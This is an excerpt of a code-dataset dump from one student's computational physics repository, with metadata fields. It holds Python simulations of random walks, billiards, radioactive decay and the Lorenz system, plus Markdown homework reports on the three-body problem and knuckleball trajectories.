plt.figure(figsize=(9,7))\\nax1=fig.gca(projection='3d')\\nax1.plot(x1,y1,z1,color='black')\\nax1.plot(x,y,z,color='blue')\\nax1.set_title('random walk in 3 dimension')\\nax1.set_xlabel('x')\\nax1.set_ylabel('y')\\nax1.set_zlabel('z')\\n#ax1.view_init(30,0)\\n\\n\\n#-----------\\nr2ave=[0]*100\\nfor i in range(5000):\\n x1,y1,z1,t1,r2ave1=randpath(100)\\n for j in range(len(x1)-1):\\n r2ave[j]=r2ave[j]+r2ave1[j]/5000\\nplt.figure(figsize=(10,5))\\nplt.grid()\\nt0=[]\\nfor i in range(100):\\n t0.append(i+1)\\nplt.plot(t0,r2ave,'o',ms=3)\\nplt.xlabel('time(step number)')\\nplt.ylabel('<r2>')\\nplt.title('random walk in one dimension')\\n#plt.text(10,80,'<x2> versus time')\\nk,b=np.polyfit(t0,r2ave,1)#多项式拟合\\nideal=[]\\nfor i in range(100):\\n ideal.append(k*(i+1)+b)\\nplt.plot(t0,ideal,color='red')\\nprint(k,b)\\n\\n \"\n },\n {\n \"alpha_fraction\": 0.32249894738197327,\n \"alphanum_fraction\": 0.37990713119506836,\n \"avg_line_length\": 25.65517234802246,\n \"blob_id\": \"394b5f8dd4803d51cd8d8933a91f1429c0c74d64\",\n \"content_id\": \"f53ed76437a6f2eb92f95b1cf0fc7329b4351857\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2369,\n \"license_type\": \"no_license\",\n \"max_line_length\": 91,\n \"num_lines\": 87,\n \"path\": \"/homework8/code/phasespace2.py\",\n \"repo_name\": \"jxw666/computationalphysics_N2015301020090\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import math\\nimport matplotlib.pyplot as plt\\ndef billiard(x0,y0,vx0,vy0,r,a, RR,time):\\n x=[x0]\\n y=[y0]\\n vx=vx0\\n vy=vy0\\n t=[0]\\n dt=0.01\\n T=0\\n VX=[vx]\\n while T<=time:\\n x.append(x[-1]+vx*dt)\\n y.append(y[-1]+vy*dt)\\n VX.append(vx)\\n t.append(t[-1]+dt)\\n if y[-1]>=a and (x[-1]**2+(y[-1]-a)**2)>r**2 and (x[-1]**2+(y[-1]-a)**2)>RR**2:\\n d=math.sqrt(x[-1]**2+(y[-1]-a)**2)\\n d1=2*r-d\\n x.append(x[-1]*d1/d)\\n y.append((y[-1]-a)*d1/d+a)\\n VX.append(vx)\\n cs=x[-1]/d\\n ss=(y[-1]-a)/d\\n vpt=vy*cs-vx*ss\\n vpr=-(vy*ss+vx*cs)\\n vx=vpr*cs-vpt*ss\\n vy=vpr*ss+vpt*cs\\n elif y[-1]<=-a and (x[-1]**2+(y[-1]+a)**2)>r**2 and (x[-1]**2+(y[-1]-a)**2)>RR**2:\\n d=math.sqrt(x[-1]**2+(y[-1]+a)**2)\\n d1=2*r-d\\n x.append(x[-1]*d1/d)\\n y.append((y[-1]+a)*d1/d-a)\\n VX.append(vx)\\n cs=x[-1]/d\\n ss=(y[-1]+a)/d\\n vpt=vy*cs-vx*ss\\n vpr=-(vy*ss+vx*cs)\\n vx=vpr*cs-vpt*ss\\n vy=vpr*ss+vpt*cs\\n elif -a<y[-1]<a and x[-1]>r and (x[-1]**2+(y[-1]-a)**2)>RR**2:\\n x[-1]=2*r-x[-1]\\n vx=-vx\\n x.append(x[-1]*d1/d)\\n y.append((y[-1]+a)*d1/d-a)\\n VX.append(vx)\\n elif -a<y[-1]<a and x[-1]<-r and (x[-1]**2+(y[-1]-a)**2)>RR**2:\\n x[-1]=-2*r-x[-1]\\n vx=-vx \\n x.append(x[-1]*d1/d)\\n y.append((y[-1]+a)*d1/d-a)\\n VX.append(vx)\\n elif (x[-1]**2+(y[-1]-a)**2)<=RR**2:\\n d=math.sqrt(x[-1]**2+y[-1]**2)\\n d1=2*RR-d\\n x.append(x[-1]*d1/d)\\n y.append(y[-1]*d1/d)\\n t.append(t[-1]+dt)\\n cs=x[-1]/d\\n ss=y[-1]/d\\n vpt=vy*cs-vx*ss\\n vpr=-(vy*ss+vx*cs)\\n vx=vpr*cs-vpt*ss\\n vy=vpr*ss+vpt*cs\\n VX.append(vx)\\n T=t[-1]\\n return x,y,VX\\n\\n\\nB=billiard(0.5,0.5,-0.4,-0.3,1,0,0.2,800)\\naa=B[0]\\nbb=B[1]\\ncc=B[2]\\n\\nV=[]\\nxx=[]\\nfor i in range(len(B[1])-1):\\n if abs(bb[i])<0.001:\\n V.append(cc[i])\\n xx.append(aa[i])\\n \\n \\nplt.plot(xx,V,'o', ms=2,color='black')\\n\\nplt.xlabel('x')\\nplt.ylabel('vx')\\nplt.title('r=0.2 in center,phase-space')\\n\\n \\n \\n \\n \\n \\n\"\n },\n {\n \"alpha_fraction\": 0.7149075269699097,\n \"alphanum_fraction\": 0.7573449611663818,\n \"avg_line_length\": 49.88888931274414,\n \"blob_id\": \"e33d38c31bc5f32d701354791db94d6b07a3e973\",\n \"content_id\": \"b207b8d4e8d4c1ac7713c111709c74c6f8ed590a\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 991,\n \"license_type\": \"no_license\",\n \"max_line_length\": 461,\n \"num_lines\": 18,\n \"path\": \"/homework_03.md\",\n \"repo_name\": \"jxw666/computationalphysics_N2015301020090\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"----------\\n\\n> Written with [StackEdit](https://stackedit.io/).\\n# Homework_03\\n[file_01](https://github.com/jxw666/computationalphysics_N2015301020090/blob/master/temp2.py )\\n> 自己写的，但很简单只能前后两次移动-_-#\\n> 利用while loop,\\n> 清屏语句 import os\\n> s=os.system(\\\"clear\\\")(for Mac)\\n> \\n\\n[file_02]( https://github.com/jxw666/computationalphysics_N2015301020090/blob/master/name.py)\\n> 借鉴了[qqyyff](https://github.com/qqyyff)的作业,表示感谢 :-)\\n> 使用time module\\n\\n> **time.sleep(secs)**\\n\\n> Suspend execution of the calling thread for the given number of seconds. The argument may be a floating point number to indicate a more precise sleep time. The actual suspension time may be less than that requested because any caught signal will terminate the sleep() following execution of that signal’s catching routine. Also, the suspension time may be longer than requested by an arbitrary amount because of the scheduling of other activity in the system.\\n\\n\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.4582456052303314,\n \"alphanum_fraction\": 0.5284210443496704,\n \"avg_line_length\": 23.465517044067383,\n \"blob_id\": \"f8875a08241b72250ea01f3e5f90a8c1f69bf930\",\n \"content_id\": \"439c6b1a48f1ab1c22e49b4f8c9e68437f053bcd\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1435,\n \"license_type\": \"no_license\",\n \"max_line_length\": 48,\n \"num_lines\": 58,\n \"path\": \"/final/2-d randomwalk.py\",\n \"repo_name\": \"jxw666/computationalphysics_N2015301020090\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import random\\nimport numpy as np\\nimport matplotlib.pyplot as plt\\nimport math\\ndef randpath(T):\\n x=[0]\\n y=[0]\\n t=[0]\\n r2ave=[0]*T\\n for i in range(T):\\n ruler=random.randint(1,2)\\n if ruler==1:\\n c=random.random()\\n t.append(i+1)\\n if c<=0.5:\\n x.append(x[-1]+1) \\n else:\\n x.append(x[-1]-1)\\n y.append(y[-1])\\n if ruler==2:\\n c=random.random()\\n t.append(i+1)\\n if c<=0.5:\\n y.append(y[-1]+1)\\n else:\\n y.append(y[-1]-1)\\n x.append(x[-1])\\n r2ave[i]=r2ave[i]+(x[-1]**2+y[-1]**2) \\n return x,y,t,r2ave\\nx,y,t,r2ave=randpath(100)\\nx1,y1,t1,r2ave1=randpath(100)\\nplt.plot(x,y,color='black')\\nplt.plot(x1,y1,color='blue')\\nplt.xlabel('x')\\nplt.ylabel('y')\\nplt.title('random walk in 2 dimension')\\n#-----------\\nr2ave=[0]*100\\nfor i in range(5000):\\n x1,y1,t1,r2ave1=randpath(100)\\n for j in range(len(x1)-1):\\n r2ave[j]=r2ave[j]+r2ave1[j]/5000\\nplt.figure(figsize=(10,5))\\nplt.grid()\\nt0=[]\\nfor i in range(100):\\n t0.append(i+1)\\nplt.plot(t0,r2ave,'o',ms=3)\\nplt.xlabel('time(step number)')\\nplt.ylabel('<r2>')\\nplt.title('random walk in one dimension')\\n#plt.text(10,80,'<x2> versus time')\\nk,b=np.polyfit(t0,r2ave,1)#多项式拟合\\nideal=[]\\nfor i in range(100):\\n ideal.append(k*(i+1)+b)\\nplt.plot(t0,ideal,color='red')\\nprint(k,b)\\n\\n \\n\"\n },\n {\n \"alpha_fraction\": 0.5827686190605164,\n \"alphanum_fraction\": 0.6563407778739929,\n \"avg_line_length\": 30.303030014038086,\n \"blob_id\": \"eb1e1da5e9b4c07ba8e7e5e327e805af50c569ad\",\n \"content_id\": \"3220a478d344c7e193310b7dcd96993fd0200083\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1053,\n \"license_type\": \"no_license\",\n \"max_line_length\": 92,\n \"num_lines\": 33,\n \"path\": \"/Ch1_1.4.py\",\n \"repo_name\": \"jxw666/computationalphysics_N2015301020090\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"\\nimport matplotlib.pyplot as plt\\ntime=[0]\\nT=10000\\na=10#初始A粒子数\\nb=0#初始B粒子数\\nA=[a]#the number of nucleus A\\nB=[b]#the number of nucleus B\\nAnalytic_A=[a]\\nAnalytic_B=[b]\\ndt=0.1\\ntA=1000#time constant for A\\ntB=1#time constant for B\\ne=2.718281828459\\ni=0\\nwhile i<=int(T/dt-1):\\n#for i in range(int(T/dt)-1):\\n num_of_a_at_dt=A[i]-dt*A[i]/tA\\n A.append(num_of_a_at_dt)\\n num_of_b_at_dt=B[i]+dt*(A[i]/tA-B[i]/tB)\\n B.append(num_of_b_at_dt)\\n time.append(dt*(i+1))\\n Analytic_A.append(a*2.718281828459**(-dt*(i+1)/tA))\\n Analytic_B.append(b+a*tB/(tA-tB)*(2.718281828459**(-dt*(i+1)/tA)-2.718**(-dt*(i+1)/tB)))\\n i=i+1\\nplt.xlabel('Time(s)')\\nplt.ylabel('Number of particles')\\nplt.title('Radioactive Decay of 2 nucleus')\\nline1,= plt.plot(time,A,color='blue',linewidth='3.0',label='A')\\nline2,= plt.plot(time,B,color='pink',linewidth='3.0',label='B')\\nline3,= plt.plot(time,Analytic_A,color='yellow',linestyle='-.',label='analytic_A')\\nline4,= plt.plot(time,Analytic_B,color='red',linestyle='-.',label='analytic_B')\\nplt.legend()\\nplt.show()\"\n },\n {\n \"alpha_fraction\": 0.6990927457809448,\n \"alphanum_fraction\": 0.7837701439857483,\n \"avg_line_length\": 41.10638427734375,\n \"blob_id\": \"886b10e4069fd5935d0e9617f357663a86dc9b35\",\n \"content_id\": \"be6d6ab4f9c69f650cd4055f12e9edfc449f16c0\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 1984,\n \"license_type\": \"no_license\",\n \"max_line_length\": 300,\n \"num_lines\": 47,\n \"path\": \"/ch4/The Three-Body Problem.md\",\n \"repo_name\": \"jxw666/computationalphysics_N2015301020090\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# The Three-Body Problem\\n\\n2015301020090\\n\\nProblem 4.16\\n\\n##Background\\n\\nIn this section we'll consider one of the simplest three-body problems,the Sun and two planets,Earth&Jupiter.The magnitude of the forces between the planets are given by inverse-square law.We assume that the orbits of the plants are coplanar.Again we use Euler-Cromer method to calculate the motion.\\n\\nProblem 4.16 require us to carry out a stimulation which consider Earth,Jupiter&the Sun.And take the center of mass as the origin.I don't know how to choose the initial positons of the planets so I just assume that they are all in x-axis and the initial speed directions are parallel to y-axis.\\n\\n## [Codes](https://github.com/jxw666/computationalphysics_N2015301020090/blob/master/ch4/ch4.py)\\n\\n## Results&Analysis\\n\\n1.When the mass of Jupiter is unchanged.\\n\\n\\n\\nTwo planets circulate around the sun.The sun is also moving along y-axis.\\n\\n2.The mass of jupiter increased to 10 times of its true mass.\\n\\n \\n\\n3.The mass of jupiter increased to 100 times of its true mass.\\n\\n\\n\\n4.The mass of jupiter increased to 300 times of its true mass.\\n\\n\\n\\n\\n\\n5.The mass of jupiter increased to 1000 times of its true mass.\\n\\n\\n\\nJupiter drifts apart but Earth still moves around the Sun\\n\\n## Defect\\n\\nThe text book suggests us to give the Sun an initial velocity to make the total momentum of the the system exactly zero so that the center of mass will remain fixed.However,here's the result I got.\\n\\n\\n\\n\\n\\n\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.6550976037979126,\n \"alphanum_fraction\": 0.7156181931495667,\n \"avg_line_length\": 75.83333587646484,\n \"blob_id\": \"6f907cb8c1eaee306a32362f59122f469f364db6\",\n \"content_id\": \"26d0c2b20691a432ccee29757dd84c2bcf65686e\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 4626,\n \"license_type\": \"no_license\",\n \"max_line_length\": 466,\n \"num_lines\": 60,\n \"path\": \"/Baseball.md\",\n \"repo_name\": \"jxw666/computationalphysics_N2015301020090\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"\\n\\n\\n> Written with [StackEdit](https://stackedit.io/).\\n# Chapter_two_section2.3&4\\n--------------------\\n\\n贾雪巍 2015301020090\\nproblem2.17 Kunckleball\\n\\n--------------------------\\n## Throwing a Baseball\\n-----------------------------------\\n\\n## Background\\nThe basic equations of motion of for a baseball are the same as those of the cannon shell,with a few deflections, and we will again use the Euler method in our stimulations.Here are the changes we made on the model.\\n\\n**1**.The force on a baseball due to air resistance is given by the same form as cannon shell's.But the drag coeffcient is a function of v,and is depent on the ball conditions.(P33.fig 2.6)At high speeds or when throwing a rough ball the flow become turbulent.We take \\n\\n<a href=\\\"http://www.codecogs.com/eqnedit.php?latex=\\\\frac{B_2}{m}=0.0039+\\\\frac{0.0058}{1+exp[(v-v_d)/\\\\Delta]}\\\" target=\\\"_blank\\\"><img src=\\\"http://latex.codecogs.com/gif.latex?\\\\frac{B_2}{m}=0.0039+\\\\frac{0.0058}{1+exp[(v-v_d)/\\\\Delta]}\\\" title=\\\"\\\\frac{B_2}{m}=0.0039+\\\\frac{0.0058}{1+exp[(v-v_d)/\\\\Delta]}\\\" /></a>\\n<a href=\\\"http://www.codecogs.com/eqnedit.php?latex=v_d=35m/s,\\\\Delta=5m/s\\\" target=\\\"_blank\\\"><img src=\\\"http://latex.codecogs.com/gif.latex?v_d=35m/s,\\\\Delta=5m/s\\\" title=\\\"v_d=35m/s,\\\\Delta=5m/s\\\" /></a>\\n\\n**2**.The v in air resistance is the speed relative to the air. For a ball spinning about an axis perpendicular to the direction of travel,when add the drag force on different sides of the ball,there will be a net force perpendicular to the center of mass velocity called Magnus force.\\n<a href=\\\"http://www.codecogs.com/eqnedit.php?latex=F_M=S_0wv_x\\\" target=\\\"_blank\\\"><img src=\\\"http://latex.codecogs.com/gif.latex?F_M=S_0wv_x\\\" title=\\\"F_M=S_0wv_x\\\" /></a>\\nfor baseball<a href=\\\"http://www.codecogs.com/eqnedit.php?wlatex=S_0/m\\\\approx4.1\\\\times10^{-4}\\\" target=\\\"_blank\\\"><img src=\\\"http://latex.codecogs.com/gif.latex?S_0/m\\\\approx4.1\\\\times10^{-4}\\\" title=\\\"S_0/m\\\\approx4.1\\\\times10^{-4}\\\" /></a>.w is the angle velocity we assume w is a constant.\\n\\n**3**. Knuckleball.Baseball is not a total smooth ball.Since the drag force is greater for a smooth ball than for a rough ball,there will be an imbalance on the two sides of the ball,giving a net force in the direction of the rough side.If the ball rotates **slowly** as it moves so that the exposed stitches moves, the force changes direction.For simplicity we will assume that the ball spins about a vertical axis .The force is given approximately by the function\\n\\n<a href=\\\"http://www.codecogs.com/eqnedit.php?latex=$$\\\\frac{F_{lateral}}{mg}=0.5[sin(4\\\\theta)-0.25sin(8\\\\theta)+0.08sin(12\\\\theta)-0.025sin(16\\\\theta)]$$\\\" target=\\\"_blank\\\"><img src=\\\"http://latex.codecogs.com/gif.latex?$$\\\\frac{F_{lateral}}{mg}=0.5[sin(4\\\\theta)-0.25sin(8\\\\theta)+0.08sin(12\\\\theta)-0.025sin(16\\\\theta)]$$\\\" title=\\\"$$\\\\frac{F_{lateral}}{mg}=0.5[sin(4\\\\theta)-0.25sin(8\\\\theta)+0.08sin(12\\\\theta)-0.025sin(16\\\\theta)]$$\\\" /></a>\\n\\n\\n## [Code](https://github.com/jxw666/computationalphysics_N2015301020090/blob/master/ch3.py)\\n--------------------\\n\\n## Result&Analysis\\n---------------------\\n1.different center of mass velocity\\n(I choose this initial angular orientation and angular velocity because it looks ok，others go crazy......-_-#)\\n\\n\\n **When change center of mass velocity,the curve shape doesn't change.**\\n **The largest velocity has the longest range.**\\n\\n---------------------------\\n2.different w\\n\\n\\n**pi/5 has the longest range.\\nFrom the x-z figure,I can approximately see how a Knucleball moves.It's hard to say where it lands.**\\n\\n----------------\\n3.different theta\\nI abandon the curves with x<0\\n\\n\\n**1.8pihas the longest range.Still can't tell how this works.It is not consistent with my experience -_-#**\\n## Defect\\nThe air resistance shouldn't have x<0(??),I think the forces in this model are wrong.\\nThe actual the baseball motion may not have a horizontal velocity.Its spin may be more complicated.And the forces in this model are just approximations which can make our calculaton easier. \\n## The way to catch a knuckleball is to wait until it stops rolling and pick it up.--Bob Uecker哈哈哈\\n\"\n },\n {\n \"alpha_fraction\": 0.5225316286087036,\n \"alphanum_fraction\": 0.6096202731132507,\n \"avg_line_length\": 22.780487060546875,\n \"blob_id\": \"e59a79f65322fa5400ca1f449e867cd2434aa93a\",\n \"content_id\": \"2a1e61f069931fd4a15b22f196a50594b53b4873\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1985,\n \"license_type\": \"no_license\",\n \"max_line_length\": 41,\n \"num_lines\": 82,\n \"path\": \"/final/randpath副本.py\",\n \"repo_name\": \"jxw666/computationalphysics_N2015301020090\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import random\\nimport numpy as np\\nimport matplotlib.pyplot as plt\\ndef randpath(T):\\n x=[0]\\n t=[0]\\n x2ave=[0]*T\\n for i in range(T):\\n c=random.random()\\n t.append(i+1)\\n if c<=0.5:\\n x.append(x[-1]+1)\\n else:\\n x.append(x[-1]-1)\\n x2ave[i]=x2ave[i]+x[-1]**2\\n return x,t,x2ave\\nx,t,x2ave=randpath(100)\\nx1,t1,x2ave1=randpath(100)\\nfig = plt.figure(figsize=(10, 5))\\nplt.plot(t,x,'o',ms=4,color='red')\\nplt.plot(t1,x1,'o',ms=4,color='blue')\\nplt.xlabel('time(step number)')\\nplt.ylabel('X')\\nplt.title('random walk in one dimension')\\n\\n\\n#----------\\naverage=[0]*101\\nfor i in range(5000):\\n x1,t1,x2ave1=randpath(100)\\n for j in range(len(x1)):\\n average[j]=average[j]+x1[j]/5000\\nplt.figure(figsize=(10,5))\\nplt.ylim(-0.5,0.5)\\nplt.grid()\\nplt.plot(t1,average)\\nplt.xlabel('time(step number)')\\nplt.ylabel('<x>')\\nplt.title('random walk in one dimension')\\nplt.text(0,0.15,'<x> versus time')\\n#-----------\\\\\\nx2ave=[0]*100\\nfor i in range(5000):\\n x1,t1,x2ave1=randpath(100)\\n for j in range(len(x1)-1):\\n x2ave[j]=x2ave[j]+x2ave1[j]/5000\\nplt.figure(figsize=(10,5))\\nplt.grid()\\nt0=[]\\nfor i in range(100):\\n t0.append(i+1)\\nplt.plot(t0,x2ave,'o',ms=3)\\nplt.xlabel('time(step number)')\\nplt.ylabel('<x2>')\\nplt.title('random walk in one dimension')\\nplt.text(10,80,'<x2> versus time')\\nk,b=np.polyfit(t0,x2ave,1)#多项式拟合\\nideal=[]\\nfor i in range(100):\\n ideal.append(k*(i+1)+b)\\nplt.plot(t0,ideal,color='red')\\nprint(k,b)\\n#------\\nx4ave=[0]*100\\nfor i in range(5000):\\n x1,t1,x2ave1=randpath(100)\\n for j in range(len(x1)-1):\\n x4ave[j]=x4ave[j]+x1[j+1]**4/5000\\n\\nplt.figure(figsize=(10,5))\\nplt.grid()\\nplt.plot(t0,x4ave,'o',ms=3)\\nplt.xlabel('time(step number)')\\nplt.ylabel('<x4>')\\nplt.title('random walk in one dimension')\\na,b,c=np.polyfit(t0,x4ave,2)\\nideal4=[]\\nfor i in range(100):\\n ideal4.append(a*i**2+b*i+c)\\nplt.plot(t0,ideal4,color='red')\\nplt.text(20,20000,'<x4>versus time')\\nprint(a,b,c)\\n \\n \\n \\n\\n\\n \\n\\n\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.39566299319267273,\n \"alphanum_fraction\": 0.4653394818305969,\n \"avg_line_length\": 20.96875,\n \"blob_id\": \"555b10b85d47c65c4d77e270344ffc3ca82b7868\",\n \"content_id\": \"1b0a5518734e5ed77fb57c775c3ef2297d15dd68\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2813,\n \"license_type\": \"no_license\",\n \"max_line_length\": 56,\n \"num_lines\": 128,\n \"path\": \"/homework8/code/phasespacebliiard.py\",\n \"repo_name\": \"jxw666/computationalphysics_N2015301020090\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import math\\nimport matplotlib.pyplot as plt\\nimport numpy as np\\ndef billiard(x0,y0,vx0,vy0,r,a,time):\\n x=[x0]\\n y=[y0]\\n vx=vx0\\n vy=vy0\\n VX=[vx]\\n t=[0]\\n dt=0.01\\n T=0\\n while T<=time:\\n x.append(x[-1]+vx*dt)\\n y.append(y[-1]+vy*dt)\\n t.append(t[-1]+dt)\\n VX.append(vx)\\n if y[-1]>=a and (x[-1]**2+(y[-1]-a)**2)>r**2:\\n d=math.sqrt(x[-1]**2+(y[-1]-a)**2)\\n d2=math.sqrt(vx**2+vy**2)\\n d1=2*r-d\\n \\n x.append(x[-1]*d1/d)\\n y.append((y[-1]-a)*d1/d+a)\\n cs=x[-1]/d\\n ss=(y[-1]-a)/d\\n vpt=vy*cs-vx*ss\\n vpr=-(vy*ss+vx*cs)\\n vx=vpr*cs-vpt*ss\\n vy=vpr*ss+vpt*cs\\n VX.append(vx)\\n elif y[-1]<=-a and (x[-1]**2+(y[-1]+a)**2)>r**2:\\n d=math.sqrt(x[-1]**2+(y[-1]+a)**2)\\n d1=2*r-d\\n x.append(x[-1]*d1/d)\\n y.append((y[-1]+a)*d1/d-a)\\n cs=x[-1]/d\\n ss=(y[-1]+a)/d\\n vpt=vy*cs-vx*ss\\n vpr=-(vy*ss+vx*cs)\\n vx=vpr*cs-vpt*ss\\n vy=vpr*ss+vpt*cs\\n VX.append(vx)\\n elif -a<y[-1]<a and x[-1]>r:\\n x[-1]=2*r-x[-1]\\n x.append(x[-1])\\n y.append(y[-1])\\n vx=-vx\\n VX.append(vx)\\n elif -a<y[-1]<a and x[-1]<-r:\\n x[-1]=-2*r-x[-1]\\n vx=-vx \\n x.append(x[-1])\\n y.append(y[-1])\\n VX.append(vx)\\n T=t[-1]\\n return x,y,VX\\n\\nfig = plt.figure(figsize=(11, 11))\\n\\nB=billiard(0.5,0.5,-0.4,-0.3,1,0,800)\\na=B[0]\\nb=B[1]\\nc=B[2]\\nV=[]\\nxx=[]\\nA=billiard(0.5,0.5,-0.4,-0.3,1,0.01,800)\\naa=A[0]\\nbb=A[1]\\ncc=A[2]\\nVV=[]\\nxxx=[]\\nC=billiard(0.5,0.5,-0.4,-0.3,1,0.1,800)\\naaa=C[0]\\nbbb=C[1]\\nccc=C[2]\\nVVV=[]\\nxxxx=[]\\nD=billiard(0.5,0.5,-0.4,-0.3,1,1,800)\\naaaa=C[0]\\nbbbb=C[1]\\ncccc=C[2]\\nVVVV=[]\\nxxxxx=[]\\nplt.subplot(2,2,1)\\nplt.xlim(-1,1)\\n\\nfor i in range(len(B[1])-1):\\n if abs(b[i])<0.001:\\n V.append(c[i])\\n xx.append(a[i])\\nplt.plot(xx,V,'o', ms=2,color='black')\\nplt.xlabel('x')\\nplt.ylabel('vx')\\nplt.title('alpha=0')\\nplt.subplot(2,2,2)\\nplt.xlim(-1,1)\\n\\nfor i in range(len(A[1])-1):\\n if abs(bb[i])<0.001:\\n VV.append(cc[i])\\n xxx.append(aa[i])\\nplt.plot(xxx,VV,'o', ms=2,color='black')\\nplt.xlabel('x')\\nplt.ylabel('vx')\\nplt.title('alpha=0.01')\\nplt.subplot(2,2,3)\\nplt.xlim(-1,1)\\n\\nfor i in range(len(C[1])-1):\\n if abs(bbb[i])<0.001:\\n VVV.append(ccc[i])\\n xxxx.append(aaa[i])\\nplt.plot(xxxx,VVV,'o', ms=2,color='black')\\nplt.xlabel('x')\\nplt.ylabel('vx')\\nplt.title('alpha=0.1')\\nplt.subplot(2,2,4)\\nplt.xlim(-1,1)\\n\\nfor i in range(len(D[1])-1):\\n if abs(bbbb[i])<0.001:\\n VVVV.append(cccc[i])\\n xxxxx.append(aaaa[i])\\nplt.plot(xxxx,VVV,'o', ms=2,color='black')\\nplt.xlabel('x')\\nplt.ylabel('vx')\\nplt.title('alpha=1')\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.46488550305366516,\n \"alphanum_fraction\": 0.5022900700569153,\n \"avg_line_length\": 16.399999618530273,\n \"blob_id\": \"ee05983fd4a38a7618e8d00d36b1165ec6bb9305\",\n \"content_id\": \"2c3e320e31b2f1e32691949828c5c9b350e5e8b0\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1310,\n \"license_type\": \"no_license\",\n \"max_line_length\": 47,\n \"num_lines\": 75,\n \"path\": \"/Ch3/lorenz poin.py\",\n \"repo_name\": \"jxw666/computationalphysics_N2015301020090\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"\\nimport numpy as np\\nimport matplotlib.pyplot as plt\\n\\n\\ndef lorenz(r,sigma,b):\\n x=[0]\\n y=[1]\\n z=[1]\\n t=[0]\\n i=0\\n t_i=0\\n dt=0.01\\n while t_i<=50:\\n x_i=x[i]\\n y_i=y[i]\\n z_i=z[i]\\n t_i=t[i]\\n x_dt=x_i+sigma*(y_i-x_i)*dt\\n y_dt=y_i-(x_i*z_i-r*x_i+y_i)*dt\\n z_dt=z_i+(x_i*y_i-b*z_i)*dt\\n T=t_i+dt\\n x.append(x_dt)\\n y.append(y_dt)\\n z.append(z_dt)\\n t.append(T)\\n i=i+1\\n return x,y,z,t\\nL=lorenz(25,10,8/3)\\n\\n\\n\\n\\n#fig=plt.figure()\\n#ax = fig.gca(projection='3d')\\nX=np.array(L[0])\\nY=np.array(L[1])\\nZ=np.array(L[2])\\nT=np.array(L[3])\\n\\n\\n \\n#ax.plot(X,Y,Z,color='black')\\nplt.subplot(121)\\npoin_z=[]\\npoin_x=[]\\npoin_y=[]\\nfor i in range(len(X)-1):\\n if X[i]*X[i+1]<=0:\\n poin_z.append(Z[i])\\n poin_y.append(Y[i])\\n \\nplt.plot(np.array(poin_y),np.array(poin_z),'o')\\nplt.xlabel('y')\\nplt.ylabel('z')\\nplt.title('z versus y when x=0') \\n\\nplt.subplot(122)\\np_z=[]\\np_x=[]\\np_y=[]\\nfor i in range(len(X)-1):\\n if Y[i]*Y[i+1]<=0:\\n p_z.append(Z[i])\\n p_x.append(X[i]) \\nplt.plot(np.array(p_x),np.array(p_z),'o')\\nplt.xlabel('x')\\nplt.ylabel('z')\\nplt.title('x versus z when y=0') \\n\\n#for angle in range(0, 360):\\n#ax.view_init(30, 0)\\n#plt.draw()\\n #plt.pause(.001)\\n#plt.plot(L[0],L[2])\\nplt.show()\\n \"\n },\n {\n \"alpha_fraction\": 0.5068399310112,\n \"alphanum_fraction\": 0.5896033048629761,\n \"avg_line_length\": 20.441177368164062,\n \"blob_id\": \"4bc5cc22e3c64f4bf466ab06d39e9aee29cd4633\",\n \"content_id\": \"93e8cd04a2ae7f041e15ae93e0c5e4f9263b97c0\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1462,\n \"license_type\": \"no_license\",\n \"max_line_length\": 43,\n \"num_lines\": 68,\n \"path\": \"/Ch3/lorenz.py\",\n \"repo_name\": \"jxw666/computationalphysics_N2015301020090\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import matplotlib as mpl\\nfrom mpl_toolkits.mplot3d import Axes3D\\nimport numpy as np\\nimport matplotlib.pyplot as plt\\n\\n\\ndef lorenz(r,sigma,b,TIME):\\n x=[1]\\n y=[0]\\n z=[0]\\n t=[0]\\n i=0\\n t_i=0\\n dt=0.01\\n while t_i<=TIME:\\n x_i=x[i]\\n y_i=y[i]\\n z_i=z[i]\\n t_i=t[i]\\n x_dt=x_i+sigma*(y_i-x_i)*dt\\n y_dt=y_i-(x_i*z_i-r*x_i+y_i)*dt\\n z_dt=z_i+(x_i*y_i-b*z_i)*dt\\n T=t_i+dt\\n x.append(x_dt)\\n y.append(y_dt)\\n z.append(z_dt)\\n t.append(T)\\n i=i+1\\n return x,y,z,t\\nL1=lorenz(100,10,8/3,50)\\nL2=lorenz(100,10,8/3,50)\\nfig = plt.figure(figsize=(15, 4))\\n#ax = fig.gca(projection='3d')\\nax1 = fig.add_subplot(131, projection='3d')\\nax2 = fig.add_subplot(132, projection='3d')\\n\\nax3 = fig.add_subplot(133, projection='3d')\\n#ax.view_init(90, 0)\\n#ax.set_xlabel(\\\"X label\\\")\\n#ax.set_ylabel(\\\"Y 